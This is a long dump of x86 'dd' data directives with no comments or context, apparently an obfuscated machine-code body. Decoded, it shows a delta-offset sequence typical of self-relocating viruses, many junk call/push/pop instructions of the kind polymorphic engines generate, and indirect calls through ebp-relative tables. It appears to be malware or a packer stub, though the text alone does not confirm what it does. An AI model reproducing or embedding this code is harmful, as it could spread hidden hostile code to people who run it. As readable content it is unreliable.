		dd 471AB9EBh, 186A7943h, 0BEC81737h, 562E4639h,	1E9195FFh
		dd 6A610622h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 601FC355h, 7E9CF8Bh, 5000000h
		dd 551EFE8Eh, 0E8611311h, 0Bh, 87E0C55Ah, 0C878688Eh, 5FFB4599h
		dd 30E585C7h, 30622h, 0BD890000h, 6220ECDh, 0CAEBBD83h
		dd 0F000625h, 0C84h, 4ABB6600h,	1EE9A6h, 0B70F0000h, 0C3050F8h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	52E38166h
		dd 0DBD89F7h, 83062222h, 2230E5BDh, 850F0306h, 3BCh, 30D5BD33h
		dd 0BD830622h, 625CAEBh, 0A9840F00h, 0BB000003h, 402FF553h
		dd 0CAEBB5FFh, 85890625h, 6220FD5h, 1DCD95FFh, 0BD2B0622h
		dd 6220855h, 96E78151h,	5B4CC288h, 0CADFB58Bh, 9D8B0625h
		dd 62214A5h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0FE4B09C3h, 0ACB8166h
		dd 0FABF0F0Dh, 0EA5ABF96h, 0B3501A3Dh, 6A961Eh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 1170B2C3h, 998D13E0h, 0DB58910h, 0FF062216h,	25CAEBB5h
		dd 0E59D2B06h, 0FF062234h, 22254195h, 8D9D0306h, 8B062220h
		dd 25CADFB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0F05F6275h, 858B7BF6h, 6221B2Dh
		dd 0E499D89h, 86890622h, 0C4h, 8BF98B66h, 2233F195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0C2834B59h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD3108D7h, 6221C95h
		dd 9F31EB81h, 50894037h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 786617E5h, 0DEBC858Dh
		dd 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0F76BB4C3h, 80C1CC46h, 8689A94Ch,	0B8h, 7971BB66h
		dd 6AF98Ah, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Dh,	2CC35646h, 7BFFE136h, 1372970Ah, 0FCBF6607h, 0EBB5FFFCh
		dd 660625CAh, 95FFFB8Bh, 6220285h, 5096F8F5h, 8B665060h
		dd 966158FAh, 5BFE8A56h, 0CAEBB5FFh, 6A0625h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 275EFBC3h
		dd 5860FF3h, 0BF000000h, 372689C7h, 1AF595FFh, 6E80622h
		dd 57000000h, 810AB51Ah, 5FFE8AAEh, 1331BD83h, 0F000622h
		dd 3984h, 79858900h, 9606222Ch,	7E950h,	0DA820000h, 69F3D338h
		dd 6A9653h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0F6A04C3h, 184h, 0B5FFFC00h, 625CAEBh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 99C35040h, 684AFAB8h
		dd 57056594h, 4195FF2Eh, 8B06221Dh, 0FE9D9h, 5AAB0000h
		dd 0BC4C05B8h, 0F9B2446Eh, 0D6CA0A14h, 0EBB5FF62h, 6A0625CAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A0C3C351h, 89CFFDEDh, 2FC595FFh,	6A0622h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0FF5C78C3h, 894BCB81h, 0F88B725Eh, 2A9BD83h,	0F020622h
		dd 9384h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0A1506E10h, 880F68h, 1000000h, 2228D1BDh
		dd 0E1858B06h, 6A062200h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D3E7C357h,	0E9AF7510h
		dd 14h,	3627AB5Dh, 0E89D123Ah, 0A701D770h, 672CAAEDh, 0C944DB86h
		dd 6A0000C6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 802DC351h, 0BD8BDF8Bh,	6221AEDh
		dd 197D85C7h, 622h, 0C7810000h,	28F95A2Ah, 0FFF434E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B5C47D2Ah, 0B2E37094h, 0B50105CEh, 622155Dh
		dd 4DD05EBFh, 6AC18B1Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 6B33C355h, 8D737084h
		dd 222CB585h, 11E906h, 29B0000h, 45C334BBh, 0D01E934Dh
		dd 5426B0A0h, 90672370h, 0FE853h, 0BC290000h, 0E2044755h
		dd 0DB44DDE7h, 0B983AF72h, 0EE8C2h, 95BC0000h, 7FE905EFh
		dd 0D36B60E2h, 8A9059D4h, 505F5B5Fh, 55006A90h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 296676D3h
		dd 11E9CB10h, 0E5000000h, 0DB29D36Eh, 9D4901A1h, 0BA900ADh
		dd 6950E671h, 6ADF8Bh, 26999D8Bh, 6A0622h
		dd 0C395BF66h, 0D107858Dh, 6E90626h, 0DB000000h, 0A7C8E699h
		dd 5C083FAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	41C35141h, 53906B2Fh, 34FA54BBh, 0BF505B21h, 5D16B274h
		dd 9840F90h, 60000000h,	8166F88Bh, 61E064E2h, 0BD8B006Ah
		dd 6221C45h, 0DF8B006Ah, 355595FFh, 81660622h, 60A0E4CFh
		dd 8E9h, 0C0C9CB00h, 15E4896Fh,	4DDE81B6h, 6143414Fh, 0A90F8D8Dh
		dd 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0F3014C3h, 686h, 259D8900h, 0FF062226h, 57006AD1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 12A2EEB4h, 430E8ED5h, 9D091676h, 6222D85h, 0BD83FE8Ah
		dd 62200F5h, 8C850F01h,	8B000000h, 222961BDh, 60026A06h
		dd 6840Fh, 0BD310000h, 6223225h, 6E9h, 6F04B200h, 613C56CDh
		dd 66525090h, 0FFBD3BFh, 5E931h, 3930000h, 5ADBECCCh, 13E95058h
		dd 9D000000h, 2F8C8D0Ch, 0FF5C78CCh, 22E99E4Ch,	636F7A64h
		dd 569076ADh, 0FF5B68B7h, 22028595h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0E53CF2E1h
		dd 0CFE33B2Eh, 850F7C9Fh, 3, 66AFF380h,	0E9C0BEBFh, 0DBFh
		dd 0E8h, 0ED815D00h, 626D111h, 6A5FB3h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 618B3C3h
		dd 80D4ACB0h, 8988E6D9h, 2208F9BDh, 0AE38006h, 9345858Dh
		dd 6A0625h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0C9C848C3h, 576A0E37h, 9D8B502Dh,	6222C79h
		dd 0DA8B6690h, 6A9050h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8993DFC3h, 220E4D8Dh, 35FF6406h
		dd 0
		dd 1FB58D09h, 89640622h, 25h, 0CDBD8B00h, 0FF062221h, 2208B185h
		dd 35BD0906h, 6A062232h, 32DB81FFh, 0FF2A51A0h,	222ADDB5h
		dd 1D9D8B06h, 0FF062222h, 221C3595h, 11FE906h, 0BF660000h
		dd 0B09ADEh, 0CE9h, 0A9B64700h,	1B38D2D1h, 0FAD22B88h
		dd 70E6FCBCh, 53F8BF0Fh, 59BD8Bh, 0E45F0622h, 458D8971h
		dd 3C062202h, 0EA830F61h, 0F000000h, 383h, 0DA8B6600h
		dd 0FC8B60Fh, 687h, 0D1F78100h,	0BA42AC34h, 6, 138DBD89h
		dd 0C18B0622h, 89DEB70Fh, 22327D8Dh, 4E8C106h, 66FEB70Fh
		dd 5260E2F7h, 8E9h, 8A6B2900h, 0E0D1E736h, 958B5AD3h, 6222911h
		dd 31C82B61h, 2219519Dh, 0FD18B06h, 8Fh, 87E900h, 0BD8B0000h
		dd 6222615h, 2645BD8Bh,	858B0622h, 8, 3810Fh, 0F9520000h
		dd 7C0835Fh, 5F12B756h,	6600C083h, 3B841ABFh, 0F830FD0h
		dd 66000000h, 0E9FAE6BBh, 4Dh, 1B55B509h, 8D8B0622h, 0FFFFFFFFh
		dd 12719D33h, 0E1830622h, 32840F01h, 0E9000000h, 14h, 28DB2A7Bh
		dd 4E1176C4h, 0E2CD433Bh, 0A2640AD6h, 0A6A2FAE0h, 0FFFFA583h
		dd 66FEFFFFh, 0BF66D98Bh, 95896DBDh, 8,	0E9h, 0F7B58D00h
		dd 0F062649h, 282h, 6AFD8A00h, 0E58D0900h, 0FF062233h
		dd 22307595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0DD025D44h, 0C8B969B1h, 6A00000Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 49F7C355h, 78E6C7Bh, 8347B4AEh, 6AFCE1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 290A6DC3h, 164BFACh,	0F98B6C36h, 1D699D8Bh, 6AFC0622h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0BE88C356h, 0C3A988F9h, 0F9427C28h, 0B8h
		dd 14E800h, 0DE6F0000h,	7AE4E801h, 0D2F850EFh, 0BFFD9D19h
		dd 8AEC0D4Fh, 8166B961h, 5FC564D7h, 0BD89D22Bh,	6220A79h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C9C35242h,	0A86AE916h, 8917482Fh
		dd 2208AD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0E7C2303Eh, 0C880BBFDh, 880D096Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 287EC353h, 4961BA91h, 8BF88B3Dh
		dd 2233F195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0C41A24DAh, 0B19D8BD8h, 8B06220Eh
		dd 2232CDBDh, 38F0F06h,	66000000h, 8D8BDA8Bh, 6222D31h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 80C35040h
		dd 0D38166ECh, 0B5894088h, 62204B1h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 51006AF8h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 92FBC934h, 5C930BC3h, 2C69BD83h, 0F000622h, 8084h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0B881E5F1h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4DC35040h
		dd 15F54F97h, 8D1DB01Dh, 2250B18Dh, 31858906h, 0FF062231h
		dd 52006AE1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 688AFD36h, 8EE5DCD4h, 9D8B569Eh,	62200F9h
		dd 0E5BD835Bh, 62230h, 46B840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 39D00DC3h
		dd 45BD8910h, 6606221Bh, 83DC22BFh, 2230E5BDh, 840F0106h
		dd 450h, 7808BB66h, 0BD83FA8Ah,	62230E5h, 7860F03h, 8B000004h
		dd 221D3D9Dh, 6E86006h,	0B1000000h, 9050F725h, 9DBD893Bh
		dd 5B062234h, 0FD98C66h, 0E180D9BFh, 0EB816604h, 0C90AEE9Ah
		dd 141840Fh, 0B5890000h, 62228D5h, 7A58589h, 858B0622h
		dd 62210B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	50C35141h, 6810Fh, 9D8B0000h, 6221D39h,	68C0Fh
		dd 0BD290000h, 62219A9h, 8A58533h, 0DE8A0622h, 8299D89h
		dd 8A500622h, 240489DDh, 6A26E780h, 599D8B00h, 0E8062216h
		dd 4, 1F03FFh, 14E8h, 0F02D7700h, 0F86C4D94h, 7806102Eh
		dd 0A41EBF46h, 0D268BC9h, 0F52505Dh, 8F0F31h, 5A000000h
		dd 50505F58h, 0D8BF6652h, 0BB310FEEh, 685444B4h, 448B585Ah
		dd 52500424h, 5E9310Fh,	0AB000000h, 9033A958h, 8B585Ah
		dd 60DABB66h, 4244489h,	0DA8B6651h, 95FF585Bh, 6221E91h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6DC35242h
		dd 256A44E6h, 0CAEB8589h, 6A0625h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0F13752C3h, 93D0EB81h
		dd 48E94B18h, 6A000002h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0C6DAC351h,	6609AF38h
		dd 8B2D1BBBh, 25CAE385h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 1DB1A956h, 0FC5E67F4h
		dd 1800C7h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 150424h, 55450000h, 669F5EC3h, 0F1101BBh, 285h, 8BF88A00h
		dd 25CAE7B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 2036AD23h, 0F8B70F54h, 0A65858Bh
		dd 13E90622h, 50000000h, 1E249E21h, 9CB740E3h, 0E8D1FF57h
		dd 0E836E594h, 68999C3h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0A6C35747h, 859DF1CEh, 858B6080h, 62210B9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5CC35747h
		dd 964E0ACh, 22062195h,	6D9D8906h, 89062206h, 8C0F0446h
		dd 0
		dd 850F50h, 89000000h, 6A2434h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 288E47C3h, 67B21201h
		dd 0AE9FCh, 0DFC10000h,	897F16D7h, 8B77BD54h, 0CAE3B5FFh
		dd 9D890625h, 62204F1h,	0D068F98Bh, 515A5735h, 0EB0545BFh
		dd 34815B6Bh, 48362F24h, 56006A5Ah, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 6CD95650h, 5C87CEE4h
		dd 5E8B67Ch, 56000000h,	0F41DB1A9h, 2870Fh, 61600000h
		dd 4D95295Fh, 8D062230h, 25CAEB85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0A5B589D9h
		dd 8906222Ch, 2213B5B5h, 52505006h, 5860Fh, 0F5BB0000h
		dd 0F309227h, 0FB8B6631h, 489585Ah, 75853124h, 0FF062202h
		dd 221E9195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E86B0561h, 10h, 0D50C45A0h, 4D9E8818h
		dd 8C22C15Eh, 0F0A6B6FAh, 42D9D8Bh, 615B0622h, 6E850h
		dd 25B10000h, 3B9050F7h, 1D78D781h, 5B5F4D18h, 30E585C7h
		dd 30622h, 0BD830000h, 625CAEBh, 47840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0A77CC356h, 8353277Eh, 0E9FFB70Fh, 39h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1C35646h, 3050F554h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 75BB66C0h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 16967E34h, 0A98DA3E8h, 0BE91Eh, 0F0680000h
		dd 0D3D6DD99h, 86183391h, 0E5BD83E6h, 3062230h,	408850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 811DACC3h, 92AFDBFFh, 0E8744B6Fh,	0Ah, 0BE464968h
		dd 73687FAFh, 0E951C69Eh, 10h, 9F820977h, 120C2CC9h, 0BB8E38EFh
		dd 7524CBB0h, 0BD835B5Bh, 625CAEBh, 0AF840F00h,	6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0D1EDC350h, 0EBB5FF2Eh, 6A0625CAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0F5AC350h, 95FFD8B7h, 6221DCDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 73C35242h, 95013C50h, 6220025h
		dd 2ED9D8Bh, 0B58B0622h, 625CADFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 2EC35040h, 11BD31E9h, 0C7062230h
		dd 1000106h, 9DB58900h,	50062218h, 0DE9h, 0A563E700h, 9A3C4C3h
		dd 0B4B07E46h, 34898BF1h, 68E0F24h, 29000000h, 2206F9B5h
		dd 0EBB5FF06h, 6A0625CAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0FF3BC352h,	28C0FD5h
		dd 8A000000h, 4195FFFEh, 6A062225h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 70A9C351h
		dd 18B59D8Bh, 0B58B0622h, 625CADFh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0E4C35242h,	1716CF4h, 9AB1FDBBh
		dd 0A5B5897Eh, 8B062201h, 221B2D85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 3DDF4A3h, 34C62E36h
		dd 0B70F83ECh, 8D9D89DAh, 89062230h, 0C486h, 8BDE8A00h
		dd 2233F195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 6063B42Ah, 2D9D8BA2h, 83062235h
		dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0AAE3E8C3h, 1D5429C2h, 0BD8BBC79h, 62214C5h
		dd 89205089h, 221BED95h, 0F58D8906h, 8D06221Eh,	25DEBC85h
		dd 0A8B0F06h, 60000000h, 25958D89h, 0A7B10622h,	0B8868961h
		dd 52000000h, 7D958953h, 5F062232h, 3006A5Bh, 220801BDh
		dd 6DBD8B06h, 0FF062206h, 25CAEBB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B66B716h
		dd 8595FFDEh, 8B062202h, 22215D9Dh, 0DE8A9606h,	96DF8B50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 61C35040h
		dd 5A6CE7CBh, 8B664453h, 0EBB5FFDFh, 8B0625CAh,	0F595FFFAh
		dd 0BF06221Ah, 3CE1490Fh, 1331BD83h, 0F000622h,	2184h
		dd 0EE900h, 0C3FD0000h,	16A20ADCh, 3027551Ch, 0D2E69355h
		dd 50DA8B96h, 96F88B66h, 32F19D8Bh, 0B5FF0622h,	625CAEBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CBC35545h
		dd 9C9654CCh, 0AE8h, 5A23F500h,	0A6F02F80h, 602CE4DAh
		dd 130D8D89h, 8B660622h, 0FF5B61F3h, 221D4195h,	95858906h
		dd 0FF06221Ah, 25CAEBB5h, 0FE906h, 9FF70000h, 0D8D60014h
		dd 309E551Dh, 5E189BE2h, 0C595FFA6h, 6606222Fh,	0A6BAC781h
		dd 2A9BD83h, 0F020622h,	5E84h, 0E59D8900h, 8B06222Ch, 22112D9Dh
		dd 0E1858B06h, 6A062200h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 174BC355h, 0F1CB8BBCh
		dd 0E9735290h, 9, 91B5728h, 751BA34Eh, 0BE838h,	35EC0000h
		dd 534A5FAh, 0DDE8E080h, 0D59D896Fh, 5B06220Fh,	0C70000C6h
		dd 22197D85h, 6, 28E9F800h, 6AFFFFF3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CD9DC353h
		dd 8166DD0Ch, 8B208EF3h, 0C9B531C1h, 8D062208h,	222CB585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0B0CBBCD7h, 0C6982BBh, 899D3160h, 0B106220Ah
		dd 89506138h, 0FE82404h, 0B4000000h, 3B69CB23h,	733714A4h
		dd 6051E9DFh, 0BE60F580h, 5D98BC11h, 33E78166h,	315B610Fh
		dd 22042585h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 62C0C353h, 6AD424BCh
		dd 0FB8B6600h, 0E0C7858Dh, 6A0626h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 84618FC3h
		dd 0C083FCF5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 7902A16Ah, 0FB8B900Bh
		dd 0DC44BB50h, 66905664h, 0F57EC781h, 0BD8B006Ah, 6220F95h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 44E773C3h, 0D321EA5h, 0FF08C831h,	22355595h
		dd 0F8D8D06h, 6A0625A9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 67A6C357h, 56EE2050h
		dd 89BD8B57h, 5B06220Ah, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 97061C3h, 220FC5BDh
		dd 0F5BD8306h, 1062200h, 89850Fh, 26A0000h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 7DC35545h, 0F605073h
		dd 68Eh, 840F00h, 0B8000000h, 7E32DE69h, 24048961h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h, 8589CD67h
		dd 6220089h, 0E8DBD8Bh,	95FF0622h, 6220285h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h, 426BA1E5h
		dd 0E9DF8B66h, 0D7Bh, 0E8h, 0ED815D00h,	626E0D1h, 42DBD8Bh
		dd 0EE90622h, 9000000h,	0F1E5E19Ch, 0A806C06Ah,	0F4DE181Bh
		dd 52006AAEh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0E0E780DCh, 9345858Dh, 9D330625h, 6220159h
		dd 0D98B6690h, 0F2FEBF50h, 66903AEDh, 0BF18F381h, 35FF64h
		dd 60000000h, 1AEDBD8Bh, 890F0622h, 6, 4DD958Bh, 64610622h
		dd 2589h, 0BF660000h, 85FFAEC0h, 62208B1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BC35242h, 5890Fh
		dd 30BB0000h, 6A2D05DCh, 918589FFh, 0FF06220Fh,	2225EDB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0D736DD1h, 12E848h, 7C560000h, 5F432DF0h
		dd 0E269306Bh, 0B68718DAh, 0E073CAE9h, 0FF5BFE8Bh, 221C3595h
		dd 121E906h, 0F600000h,	480h, 6DB96600h, 61F08BF2h, 0B50900B0h
		dd 62212B1h, 0EE970E6h,	0E6000000h, 11859448h, 76A19623h
		dd 0AD9A86F4h, 0F71E407h, 685h,	419D8B00h, 3C06221Fh, 0E0830F61h
		dd 0F000000h, 0B60FF8BFh, 2810FC8h, 8B000000h, 6BADEh
		dd 0BE90000h, 0AC000000h, 71E17062h, 3344F57Ch,	0C18BB8DDh
		dd 7E9h, 0A3E3AF00h, 0FD6C201Eh, 8B04E8C1h, 0E2F766D8h
		dd 2BD88B66h, 0E59D8BC8h, 0BF062219h, 2B3BA088h, 8F0FD18Bh
		dd 6, 184DBD29h, 84E90622h, 60000000h, 8A0F56h,	5E000000h
		dd 8B61C28Bh, 185h, 67BF6600h, 7C083A3h, 1AB19D8Bh, 0C0830622h
		dd 6800F00h, 81000000h,	0DCB11ADFh, 5585895Dh, 3B06220Eh
		dd 7830FD0h, 0E9000000h, 43h, 8D8BD98Bh, 0FFFFFFFFh, 33E5BD8Bh
		dd 0E1830622h, 2C840F01h, 89000000h, 220E7195h,	0B5895706h
		dd 6221659h, 0FFA5835Bh, 0FEFFFFFFh, 0F719D8Bh,	95890622h
		dd 1, 21318D89h, 0E90622h, 8D000000h, 265FA0B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 53ED86A1h, 8C6A5581h, 91958902h, 6A062211h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 7E76DB08h, 8BEF3760h, 7595FFDAh, 0B9062230h,	1044h
		dd 7E9h, 75476C00h, 54725ECCh, 6AFCE183h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B1F8C355h
		dd 0C806E0BEh, 0C5254FC7h, 1A6D9D8Bh, 8BFC0622h, 221E21BDh
		dd 6AC02B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 55E6C357h, 0B9BD0BE9h,	8B062218h
		dd 2231599Dh, 89D22B06h, 2220A98Dh, 0C233AD06h,	0D003E8D1h
		dd 7504E983h, 0AE9F4h, 6AF10000h, 1BA806C0h, 0AEF4DE18h
		dd 880DDF8Bh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 8F03C352h, 0EAE25926h
		dd 0F5CF36A2h, 0F840Fh,	5E80000h, 88000000h, 0E0C55A16h
		dd 77D9BF66h, 0F1958B5Bh, 31062233h, 22137595h,	318D8B06h
		dd 6A06222Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 55EFC353h, 0CFE780F9h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC472DC3h
		dd 799D0960h, 0F06220Fh, 581h, 0FE75BE00h, 6A6109B4h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 442EC356h, 0D5C681F2h, 59D299Ah, 83062229h, 222C69BDh
		dd 840F0006h, 88h, 0B8DE8Ah, 6A000000h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7A27C353h
		dd 5E9F6C0h, 4F000000h,	4154294h, 0A5EB8166h, 0B18D8D03h
		dd 6A062250h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 7341C350h, 3D77DF21h, 1D8589D6h
		dd 0FF062216h, 52006AE1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0B963DB7h, 23B78D64h
		dd 30E5BD83h, 0F000622h, 49784h, 8B665000h, 0BD835FD9h
		dd 62230E5h, 0A0840F01h, 81000004h, 9770DFD3h, 0E5BD8360h
		dd 3062230h, 457860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0F60DEC3h, 289h, 66D88B00h
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 7670C1C3h, 699ECC35h, 0BF0F8B10h,	4E180DEh
		dd 1DDDBD89h, 0C90A0622h, 157840Fh, 85290000h, 6222D7Dh
		dd 10B9858Bh, 29510622h, 22069585h, 11E85B06h, 5A000000h
		dd 52E613C3h, 5F9074F9h, 2D2635Eh, 3253080Ch, 2C719589h
		dd 335B0622h, 2208A585h, 0DFBF0F06h, 11E850h, 91A80000h
		dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 50A560DCh, 0AE952h
